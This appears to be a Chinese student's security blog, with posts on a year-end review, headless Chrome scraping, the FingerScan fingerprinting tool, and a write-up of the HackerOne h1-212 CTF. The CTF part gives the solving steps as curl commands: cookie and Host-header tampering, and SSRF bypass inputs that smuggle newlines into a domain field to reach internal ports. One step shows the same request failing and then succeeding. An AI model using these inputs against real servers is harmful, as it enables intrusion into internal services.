0x00
今天是2017年最后一天,借此机会回顾一下这一年来所经历的一切
0x01 起点
总的来说今年有了不小的进步

  • 第一次提交母校漏洞(大家应该都是从自己母校开始下手的)
  • 第一次投递简历
  • 第一次简历被拒
  • 第一次获得实习机会
  • 第一次在SRC提交漏洞
  • 在Github上项目获得数十个star
  • 今年主要写了两个小工具,SiteScan和ProxyScan前者平常在信息收集阶段还算好用,后者还暂时处在demo阶段以后肯定会用得上
    挖掘漏洞方面还差得很多,仅仅在两个SRC上提交过漏洞,还有一个重复了
    实习方面有机会去公司实习的,不过因为距离等原因放弃了

    然而其实这些还远远不够,希望明年能有更多进步与突破

    0x02 飞跃
    希望明天这个时候能够实现以下的计划

  • 找到实习
  • 漏洞数量x5 (10)
  • 体重<=55kg
  • 多读几本书,减少一些玩游戏的时间

    0x03 总结
    一年的总结反而写不出什么东西,有些事情已经相隔了一年,过好每一天才是最重要的,等着明年回来看这篇文章,看看都实现了吗🙂

    0x00 起因
    在Chrome 59之后Chrome提供了Headless模式,PhantomJS项目中的维护者表示

    I don’t see any future in developing PhantomJS. Developing PhantomJS 2 and 2.5 as a single developer is a bloody hell.

    详情见
    Chrome比PhantomJS更加快速稳定,所以我以后的项目中,需要动态爬虫的地方都将使用Chrome代替PhantomJS.

    0x01 准备工作
    在python中我们可以使用selenium进行对浏览器的控制,先下载selenium
    pip install selenium
    之后需要下载相应的驱动,这里是ChromeDriver

    建议把ChromeDriver.exe放在python/script目录下,可以在python中无需指定执行路径。

    至此准备工作完成

    0x02 启动Chrome
    driver = webdriver.Chrome(chrome_options=chrome_options)

    控制Chrome启动模式,加上相应参数

    chrome_options = webdriver.ChromeOptions()
    # headless
    chrome_options.add_argument("--headless")
    # 禁用gpu,防止一些gpu引起的错误
    chrome_options.add_argument("--disable-gpu")
    # 设置日志模式为ERROR
    chrome_options.add_argument("--log-level=3")
    # 设置浏览器窗口大小
    chrome_options.add_argument("--window-size=1920x1080")
    # 禁用xss过滤器(在编写动态xss扫描器中使用)
    chrome_options.add_argument("--disable-xss-auditor")
    
    # 设置不显示图片,(个人测试无效,暂时保留)
    chrome_prefs = {}
    chrome_prefs["profile.default_content_settings"] = {"images": 2}
    chrome_options.experimental_options["prefs"] = chrome_prefs
    

    查询Chrome支持的所有参数

    0x03 问题

  • 启动Chrome的同时,会同时在12xxx端口开启调试界面,打印一条信息
  • 无法关闭图片显示
  • Introduction
    最近,在推特上看到了Hacker One举行的一个小CTF,很有意思,虽然我没有来得及在规定的时间去做一下当然,我也做不出来,对,我就是不太会CTF,看了很多个write-up每个人都有不同的思路,从各自不同的方法中自觉学到了不少东西

    The h1-212 CTF

    An engineer of acme.org launched a new server for a new admin panel at http://104.236.20.43/. He is completely confident that the server can’t be hacked. He added a tripwire that notifies him when the flag file is read. He also noticed that the default Apache page is still there, but according to him that’s intentional and doesn’t hurt anyone. Your goal? Read the flag!

    关键点:acme.org admin-panel 104.236.20.43

    首先访问104.236.20.43,印入眼帘的是apache的默认页面,我看到大部分writeup里第一步都是信息收集:
    扫ip
    Nmap scan report for 104.236.20.43
    Host is up (0.058s latency).
    Not shown: 65533 filtered ports
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http

    扫目录
    http://104.236.20.43/index.html
    http://104.236.20.43/icons/README
    http://104.236.20.43/flag

    根据acme.org的提示,很多人用了scan.rb查找某个ip绑定的虚拟主机,也有直接在hosts文件里写入$ echo "104.236.20.43 admin.acme.org" >> /etc/hosts
    也有用curl加入请求头的curl -H 'Host: admin.acme.org' 'http://104.236.20.43/'

    curl -I admin.acme.org
    HTTP/1.1 200 OK
    Date: Thu, 16 Nov 2017 12:05:51 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Set-Cookie: admin=no
    Content-Type: text/html; charset=UTF-8
    

    很明显是让我们去把cookie中的admin改为yes

    curl admin.acme.org -b 'admin=yes'
    HTTP/1.1 405 Method Not Allowed
    Date: Thu, 16 Nov 2017 12:09:15 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Content-Type: text/html; charset=UTF-8
    

    405 Method Not Allowed,把请求方法改为POST

    curl -X POST -I -b 'admin=yes' 'admin.acme.org'
    HTTP/1.1 406 Not Acceptable
    Date: Thu, 16 Nov 2017 12:16:09 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Content-Length: 0
    Content-Type: text/html; charset=UTF-8
    

    是什么406错误呢,请求的格式不符合服务端要求的,这里需要尝试所有的可能,最后结果是application/json

    curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"random" : "data"}' 'admin.acme.org' 
    {"error":{"domain":"required"}}
    
    curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "admin.acme.org"}' 'admin.acme.org' 
    {"error":{"domain":"incorrect value, .com domain expected"}}
    
    curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "213.acme.com"}' 'admin.acme.org' 
    {"error":{"domain":"incorrect value, sub domain should contain 212"}}
    
    curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "213.acme.com"}' 'admin.acme.org' 
    {“next":"\/read.php?id=0"}
    
    curl -b 'admin=yes' 'http://admin.acme.org/read.php?id=0'
    {"data":""}
    

    到了这步很多人的反应是查看是否存在sqli,这个思路是正确的,不过在这里不存在,这时候很多人想到了提供一个网址可能会返回信息是否存在ssrf,域名的限制是212.*.com,找一个这样的网站测试一下。

    curl -X POST -H 'Content-Type: application/json' -b 'admin=yes' -d '{"domain" : "212.tomnomnom.com"}' 'admin.acme.org' 
    {"next":"\/read.php?id=2"}
    
    curl -s -H'Host: admin.acme.org' -H'Cookie: admin=yes' http://104.236.20.43/read.php?id=2
    {"data":"OikK"}
    

    确认确实存在ssrf,思考如何绕过限制访问内网

    通过内网域名
    212.0000003.com:80/.com
    
    使用\n进行多次请求
    212.test.com\n127.0.0.1:22\n1234.com
    

    之后对内网端口扫描一下,发现开放了1337,flag就存放在127.0.0.1:1337\flag下

    总结
    幸好之前及时复现了一下,在写这篇文章时已经无法访问了
    通过这次CTF的学习,看到了大家的各种思路,也对ssrf稍微有了点了解,希望有机会自己也能参与其中。

    0x00 简介
    FingerScan是一款由python编写,使用nginx+uwsgi+flask搭建服务端,实现的简单指纹识别工具。目前仅能识别2000多种,前端界面也不够优美,功能有待提高。

    0x01 技术
    一般来说指纹识别技术包括以下几种:

    • 请求响应头
    • 请求响应体中特定数据(文件,内容)
    • 特殊文件

    以广泛使用的wordpress为例:
    响应头中存在以下的信息
    Server:nginx/1.10.2
    X-Powered-By:PHP/5.4.16

    可以看出此网站有nginx+php构成

    响应体中
    < ... href='https://octfive.cn/wp-content/themes/flat/assets/css/flat.min.css?ver=1.7.8'... />
    < ... href='https://octfive.cn/wp-content/themes/flat/style.css?ver=4.8.3'... />

    /wp-content/为wordpress特有,ver=4.8.3甚至能识别出特定的版本信息

    而在wordpress中一般会有如下特定的文件:
    https://octfive.cn/wp-login.php
    https://octfive.cn/xmlrpc.php

    有的网站则会有相同的favicon文件,对比响应md5可以判别是否为相同的服务

    综合以上信息能够大体的得出一个网站相当多的构建信息,在安全中的意义就是能够对症下药。
    比如知道是使用wordpress就可以去wordpress最新的相关漏洞来进行测试,节省时间的同时也能提高准确性。

    在指纹识别中最重要的就是相关识别规则的收集,我在这里使用的别人已经收集好的fofa的指纹库,对原始数据进行一定的处理之后,便于python直接处理,但是牺牲逻辑运算的功能,后续版本可能会完善相关功能。下一步的计划是爬取zoomeye的相关规则并且整合,希望能做到识别更多更准。

    0x02 在线执行
    由于在网页端执行比较方便,而且功能相对比较简单,并没有太多复杂运算或是需要大量带宽等耗费时间与资源的操作,把此工具放在服务器是十分合适的,并且我以后总会遇到需要把python与网页相结合的情况,因此学习了一下如何通过uwsgi实现此功能。

    首先需要在服务器上安装uwsgi
    pip install uwsgi

    配置nginx

    server {
            listen 80;
            server_name fingerprint.octfive.cn;
            root        /var/www/fingerprint;
    
            location / {
                include uwsgi_params;
                uwsgi_pass 127.0.0.1:5000;
                uwsgi_param UWSGI_CHDIR  /var/www/fingerprint; # 指向网站根目录
                uwsgi_param UWSGI_SCRIPT web:app; # 指定启动程序
            }
        }
    

    配置uswgi

    module = web
    
    callable = app
    master = true
    processes = 3
    
    socket = 127.0.0.1:5000
    chmod-socket = 660
    vacuum = true
    

    重启nginx
    nginx -t
    service nginx restart

    启动uwsgi
    uwsgi --ini config.ini -d web.log
    注意:务必指定日志文件否则可能会输出在命令行
    关闭uwsgi
    killall -9 uwsgi

    0x03 总结
    距离上次更新已经很久了,这次的文章也没有太多内容就是从其他项目里抽出一个功能,做成了网页的形式,总共也就一两天的工作量。其实还有一篇还安静的呆在草稿里 希望下次能多写一些有技术含量的文章。其实我也想过翻译一些twitter上medium上老外写的挺好的文章,但是我想了想我都看完了,在翻译成中文对自己的提升也不太大,要说对英语方面的帮助还是多背背单词吧。

    大三日程过半,12,14周考完试后可以预见时间较多,那个时候把毕业设计写个小的框架出来,再利用一下最近自己一直在升级的新的工具突然觉得还能再写个文章,看看能不能再找几个漏洞出来,这些基本上是我的目标了。

    0x00 大三

    大三已经不知不觉地过了两周,本学期不少课程被硬件所占据,剩下的课程又多是Java语言,给我感觉留给数据库和操作系统的时间不算太多,不过操作系统要上到18周,时间肯定够用。本学期的教师水平明显有所提高,检测和单片机的老师,第一节课就告诉我们了选择好方向的重要性,不论是考研还是工作,确立好自己所愿意为之投入的方向至关重要。也告诉了我们毕业设计离我们其实不远了,有的同学可以再寒假中完成毕业设计,其实我自己平时也写了一些的项目,我也想投入足够时间把一个做好做精,充当我的毕业设计,可是我就总是担心我的有关项目缺乏一定的可展示性,具体情况等到下学期再和老师讨论讨论。

    编程课要求在作业本上写代码的老师,我都不认为会是一个好老师

    0x01 工作
    九月份自然是秋招最火热的时间,在牛客网看到18届的前辈们忙碌的样子,不由得就紧张起来。明年三月份就轮到我来焦头烂额了,我希望现在到明年三月份这段时间内能够完善完善自己的项目,再在一些src上提交一些漏洞,这样会对明年找实习有很大的帮助。

    0x02 总结
    感觉大三上学期还是普普通通的大学生活,没什么变化,也许到下学期就不一样了